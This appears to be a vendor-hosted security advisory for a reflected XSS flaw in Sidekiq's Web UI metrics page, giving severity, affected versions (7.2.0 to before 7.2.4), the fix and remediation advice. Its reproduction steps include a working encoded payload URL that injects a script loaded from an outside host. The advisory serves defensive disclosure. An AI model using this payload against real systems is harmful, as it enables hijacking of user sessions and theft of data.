GHSA-q655-3pj8-9fxq is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in sidekiq. A fix is available for sidekiq — see the affected versions and patch details below.
Sidekiq vulnerable to a Reflected XSS in Queues Web Page
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-q655-3pj8-9fxq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-q655-3pj8-9fxq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
sidekiqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Description:
During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.
This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.
Impact:
The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.
Mitigation:
Encode all output data before rendering it in the response to prevent XSS attacks.
Steps to Reproduce:
- Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
- XSS payload will be executed, causing a popup.
Evidence:
Figure 1: Source Code Vulnerable to XSS
Figure 2: XSS payload triggered
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | sidekiq | ≥ 7.2.0&&< 7.2.4 | 7.2.4bundle update sidekiq --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sidekiq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sidekiq to 7.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q655-3pj8-9fxq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q655-3pj8-9fxq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-q655-3pj8-9fxq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q655-3pj8-9fxq in your dependencies?
O3 Security finds GHSA-q655-3pj8-9fxq across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.